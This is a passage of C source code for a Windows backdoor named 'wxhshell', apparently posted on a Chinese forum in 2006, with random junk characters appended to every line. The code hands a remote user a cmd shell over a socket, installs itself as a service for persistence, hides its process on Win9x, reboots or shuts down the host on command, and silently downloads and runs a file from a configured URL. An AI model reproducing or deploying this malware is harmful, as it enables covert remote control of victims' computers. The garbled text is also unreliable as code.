  case '?': { "Y9PS_u(~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }`O_  
    break; }mz6z<pJ_  
  } ou r$Ka31  
  // 安装 k *a?Ey$  
  case 'i': { {Hv/|.),hu  
    if(Install()) M@G <I]\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D!K){ E  
    else h)W?8XdM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (XQBBt  
    break; q'07  
    } )zFPf]gz  
  // 卸载 :YZqrcr}  
  case 'r': { j^t#>tZS  
    if(Uninstall()) Mw0Kg9M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z,6X{=  
    else 6D[m}/?Uy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8{m5P8w'  
    break; X=:|v<E   
    } xKilTh_.6  
  // 显示 wxhshell 所在路径 -,M*j|   
  case 'p': { M^i^_}~S;  
    char svExeFile[MAX_PATH]; _I("k:E7  
    strcpy(svExeFile,"\n\r"); 52*9q!  
      strcat(svExeFile,ExeFile); H nKO  
        send(wsh,svExeFile,strlen(svExeFile),0); 7e{w)m:A  
    break; EFb1Y{u^\!  
    } x*8lz\w  
  // 重启 Orb('Z,-3  
  case 'b': { 2D5S%27,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9WXJz;  
    if(Boot(REBOOT)) C q/936`O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q7 dXTS4H  
    else { Im NTk  
    closesocket(wsh); -~nU&$ccL  
    ExitThread(0); Hs%;uyI@$  
    } ])d_B\)Kck  
    break; j%2l%Mx(  
    } px@:t}  
  // 关机 q,#j *  
  case 'd': { l?F&I.{J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xQ4'$rL1d  
    if(Boot(SHUTDOWN)) ^)r^k8y'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); On[:]#  
    else { ~Rs_ep'+Q2  
    closesocket(wsh); "pb$[*_@$  
    ExitThread(0); YbMeSU/sX  
    }  _\H MF  
    break; <<43 'N+  
    } `MMh"# xN  
  // 获取shell &3 QdQ n,  
  case 's': { QJBzv|  
    CmdShell(wsh); F9hh- "(Z  
    closesocket(wsh); *O>OHX  
    ExitThread(0); n:hHm,  
    break; ~! *xi  
  } byj}36LN62  
  // 退出 JGP<'6"L$  
  case 'x': { NVEjUt/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +- ~:E_G  
    CloseIt(wsh); =B}a +0u!  
    break; #WBlEVx;Z  
    } _JlbVe[<  
  // 离开 @a AR99M  
  case 'q': { 'A0.(a5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k4|9'V&1*6  
    closesocket(wsh); vqq7IV)|  
    WSACleanup(); 6mP s;I  
    exit(1); kB|j N~  
    break; 1 11s%  
        } XIM!]  
  } 5XSr K  
  } U@W3x@  
zEG6T*  
  // 提示信息 ]0`*gKA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R{s&6  
} "62vwWrwO  
  } 9:|z^r  
AlW0GK=N-p  
  return; V SJGp`  
} tb^8jC  
Eei"baw/  
// shell模块句柄 sFqLxSo_I  
int CmdShell(SOCKET sock) cC{eu[ XW  
{ l(-We.:(  
STARTUPINFO si; TO&ohATp  
ZeroMemory(&si,sizeof(si)); :]EAlaB4Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ].W)eMC*c(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wVSM\  
PROCESS_INFORMATION ProcessInfo; =x9SvIm/tH  
char cmdline[]="cmd"; .}.?b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p2]@yE7w  
  return 0; fj2pD Cic  
} /}G+PUk7  
"7v/ -   
// 自身启动模式 #6<  X  
int StartFromService(void) V$y6=Q <c  
{ z/IA @  
typedef struct v-zi ,]W  
{ -f&16pc1t  
  DWORD ExitStatus; P`/;3u/P  
  DWORD PebBaseAddress; l)V!0eW  
  DWORD AffinityMask; ?LJDBN  
  DWORD BasePriority; 2TH13k$  
  ULONG UniqueProcessId;  %+\ PN  
  ULONG InheritedFromUniqueProcessId; ==zt)s.G(+  
}   PROCESS_BASIC_INFORMATION; =o N(1k^  
2K^D%U  
PROCNTQSIP NtQueryInformationProcess; ,EkzBVgo  
W[pOLc-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I r8,=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]_Cm 5Z7  
Y7W xV>E  
  HANDLE             hProcess; b2}>{Li0  
  PROCESS_BASIC_INFORMATION pbi; G,tJ\xMw8  
v"nN[_T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bw;gl^:UG  
  if(NULL == hInst ) return 0; .YV{wL@cB  
*&WkorByW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #BB,6E   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^?pf.E!F`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m:kXr^!D  
YX A|1  
  if (!NtQueryInformationProcess) return 0; []i/\0C^  
20 <$f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G`n|fuv  
  if(!hProcess) return 0; LAe>XF-5  
N$\'X<{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eWKFs)C]  
p~Tp=d)/  
  CloseHandle(hProcess); glMYEGz6p  
jZjWz1+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o!R.QI^2VT  
if(hProcess==NULL) return 0; r]e1a\)r  
B3x4sK s  
HMODULE hMod; t=,ZR}M1`  
char procName[255]; baLO~C  
unsigned long cbNeeded; $w,?%i97  
CSKOtqKQ)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r7Vt,{4/  
t>hoXn^-  
  CloseHandle(hProcess); 5yOIwzr&Uu  
fQW1&lFT  
if(strstr(procName,"services")) return 1; // 以服务启动 0P{^aSxTP  
U2v;[>=]  
  return 0; // 注册表启动 [HRry2#s  
} \a<7DTV  
^Rr!YnEN  
// 主模块  ?cG~M|@  
int StartWxhshell(LPSTR lpCmdLine) 2C6o?*RjyY  
{ mLEJt,X  
  SOCKET wsl; v'Y0|9c  
BOOL val=TRUE; s$%t*T2J>  
  int port=0; Ro}7ERA  
  struct sockaddr_in door; ~]sj.>P  
+8<|P&fH  
  if(wscfg.ws_autoins) Install(); )b%t4~7  
Lud[.>i  
port=atoi(lpCmdLine); f ZEyXb  
0+-"9pED>E  
if(port<=0) port=wscfg.ws_port; 1c5+X Cr  
ae%Bl[  
  WSADATA data; u+5&^"72,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *5|;eN  
YC!IIE_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .<m${yU{3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fL^$G;_?3  
  door.sin_family = AF_INET; !.2tv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =3h?!$#?  
  door.sin_port = htons(port); L3/SIoqd  
^}w@&Bje  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %bN+Y'  
closesocket(wsl); :d AC:h  
return 1; }3825  
} |wxAdPe  
DpRGPs  
  if(listen(wsl,2) == INVALID_SOCKET) { VyMFALSe]h  
closesocket(wsl); ?l> <?i  
return 1; Vn=K5nm  
} ?[Sac]h ys  
  Wxhshell(wsl); 0 ~a9gBG  
  WSACleanup(); 00 9[`Z  
{6I)6}w!k  
return 0; r,43 gg  
0hN gr'  
} 0?$jC-@k:  
/` ;rlH*  
// 以NT服务方式启动 ;L*Ku'6Mt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +$uQ_ve  
{ .4[\%r\i  
DWORD   status = 0; _J,lF-,  
  DWORD   specificError = 0xfffffff; #\zC|%2+z  
Z|#G+$"QV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h tuYctu`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :5'8MU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |F}6Zv  
  serviceStatus.dwWin32ExitCode     = 0; 4)Bk:K  
  serviceStatus.dwServiceSpecificExitCode = 0; .5^7Jwh  
  serviceStatus.dwCheckPoint       = 0; i5*BZv>e  
  serviceStatus.dwWaitHint       = 0; B>;`$-  
yI{4h $c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `o4%UkBpM  
  if (hServiceStatusHandle==0) return; ykS-5E`  
DqJzsk'd3  
status = GetLastError(); "C]v   
  if (status!=NO_ERROR) qo*%S  
{ B*@0l:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S4Q fx6:~h  
    serviceStatus.dwCheckPoint       = 0; UfkQG`G9H  
    serviceStatus.dwWaitHint       = 0; Hk 0RT%PK  
    serviceStatus.dwWin32ExitCode     = status; _x`oab0@  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8{- *Q(=/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <WiyM[ ep  
    return; D7lRZb  
  } TWeup6k  
,k9xI<i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O>@ChQF  
  serviceStatus.dwCheckPoint       = 0; O`^dy7>{U  
  serviceStatus.dwWaitHint       = 0; y$K[ArqX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oHPh2b0  
} Yn_v'Os2  
D[ v2#2  
// 处理NT服务事件,比如:启动、停止 J1u&Ga  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1YtbV3  
{ f q&(&(|  
switch(fdwControl) 0{'m":D9  
{ 6n?0MMtR  
case SERVICE_CONTROL_STOP: ["H2H rI2  
  serviceStatus.dwWin32ExitCode = 0; cK1 Fv6V#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5F78)q u6N  
  serviceStatus.dwCheckPoint   = 0; D &Bdl5g  
  serviceStatus.dwWaitHint     = 0; zHX7%x,Cq  
  { ;S?ei>Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1>=]lMW  
  } mVd%sWD  
  return; X/f?=U  
case SERVICE_CONTROL_PAUSE: 8b:GyC5L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n`X}&(O  
  break; S*NeS#!v  
case SERVICE_CONTROL_CONTINUE: r>lo@e0G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c$8M}q:X  
  break; bO'?7=SC  
case SERVICE_CONTROL_INTERROGATE: 3rj7]:Vr  
  break; 'j9x(T1M1  
}; u#+Is4Vh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "=Cjm`9~j  
} zXW)v/ ZD  
&a'mh  
// 标准应用程序主函数 j" 5 +"j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0TqIRUz "C  
{ ~,Kx"VK  
cB6LJ}R  
// 获取操作系统版本 $EnBigb!  
OsIsNt=GetOsVer(); pS~=T}o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2AXf'IOqE  
':7gYP*v  
  // 从命令行安装 Y~B-dx'V  
  if(strpbrk(lpCmdLine,"iI")) Install(); > ofWHl[-  
r]deVd G  
  // 下载执行文件 l@5kw]6  
if(wscfg.ws_downexe) { LO;6g~(1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >ra)4huZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); gs(ZJO1 /L  
} 6J<R;g23R]  
*o=[p2d"X  
if(!OsIsNt) { {#,?K  
// 如果时win9x,隐藏进程并且设置为注册表启动 ] Jnrs  
HideProc(); W+i&!'  
StartWxhshell(lpCmdLine); W.c>("gC  
} .wPI%5D  
else ;TL>{"z`x  
  if(StartFromService()) CsJ&,(s(  
  // 以服务方式启动 EvptGM  
  StartServiceCtrlDispatcher(DispatchTable); y`Zn{mQ@[  
else kA/yL]m^S  
  // 普通方式启动 :{ Lihe~\  
  StartWxhshell(lpCmdLine); ^g=j`f[T  
I`nC\%g  
return 0; >W6?!ue_  
}
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只看该作者 1 发表于: 2006-10-10
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